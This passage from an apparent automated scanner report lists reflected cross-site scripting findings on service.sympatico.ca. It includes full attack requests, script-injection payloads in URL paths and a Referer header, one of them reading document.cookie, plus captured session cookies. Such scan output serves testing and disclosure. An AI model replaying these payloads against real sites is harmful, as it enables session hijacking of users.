NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:59 GMT
Connection: close
Set-Cookie: SMSESSION=d+sCSzhhCftWJ6bXeJPLkhzaANORLYmGP4e1JGxBnghDrchZcrFXjrm9YckAdaPLqXwE4AlsqKydtdMZt4GAruqD4FUi1aqlFFTSuC47FcAacelGmbXXGli0//tabm8Xf+zPrC1LwffwziJw4Qh2U13JJLNku7pQHgPcaPU5Omlz8pHWxnsqaX1EU4bbR+nemPGXZ6GC/YvFKgpG8GCTjhgm4FVo9oeWfA+VtUaxA6zMz5jtYsWYXBRVP9s97kwRZ2kNw4pi/PNXUzmqFtvGwUn/A91cKaVNUYCXboQSnFLb7MmKymjaqQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:00 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js5665d"><script>alert(1)</script>f3b69090a5f/multipleSubmitBlocker.js" />
...[SNIP]...

2.292. https://service.sympatico.ca/js/multipleSubmitBlocker.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/multipleSubmitBlocker.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 94b07"><script>alert(1)</script>f4fb01c50db was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/multipleSubmitBlocker.js94b07"><script>alert(1)</script>f4fb01c50db HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:03 GMT
Connection: close
Set-Cookie: SMSESSION=5J+dHRqnyjdbPt5uEn9LNRSRB1+6ACb2RbKnlsRhRUXEv9EcOVTjF7O65CQJdUAUPq6X+VHlhGTn4QQx1xFRaEw0gmWCAvRAReEDxgjATZ6rVwlqwBRgmLW6WezcXnJebiiWQXlD95JxDHYpStwVxEXHadb6Si+G0ovUa5qWp3tLoVGMJzEG2TMro1CTyIJqcCJWawb6xJu5P9bAX84EH52FeAJ/UJdneKw3UTkqPoANzvEv/9hofH/NZMmy4khEKFY4S8wKJ/+AHvuhs6oJ/7cY4E7CIb5YPmLgKocP5L7yov7O5N56wg==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:04 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:04 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:04 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:04 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:04 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:04 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:04 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:04 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:04 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:04 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/multipleSubmitBlocker.js94b07"><script>alert(1)</script>f4fb01c50db" />
...[SNIP]...

2.293. https://service.sympatico.ca/js/tooltip.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/tooltip.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload af0f3"><script>alert(1)</script>093e7b4b967 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /jsaf0f3"><script>alert(1)</script>093e7b4b967/tooltip.js HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:32 GMT
Connection: close
Set-Cookie: SMSESSION=K2KOXyb4ZQhTYSnsDcJytwT1Zf45H6AiLr/3nTY/b/b7NH+h5YG5ToFLTnfn5mG3PtJ2Xcy6AutjS6wps5GuyF4B80kD8K3osQGCf23Or95+9sHyxiF/Swab8QJHDeE3HcKXSdzpiCz1aXElOnfpeHtZ5hZWZyyLfzVngmwPoGedglSmA9lrdgR1ruBm6+v0hXqS9VhY029mpv8IVgxT3hLK2ZSU9GTuwXgsdX3/G8efHNoS9aNAClfDhBl4mUkoexPfbaRcuM+2isp9Go48V2IVkhvV2klwGMFG5NjEtCpfLJCLFzA2+w==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:33 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:33 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:33 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:33 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:33 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:33 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:33 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:33 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:33 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:33 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/jsaf0f3"><script>alert(1)</script>093e7b4b967/tooltip.js" />
...[SNIP]...

2.294. https://service.sympatico.ca/js/tooltip.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/tooltip.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload abef8"><script>alert(1)</script>098ef2cb307 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/tooltip.jsabef8"><script>alert(1)</script>098ef2cb307 HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; 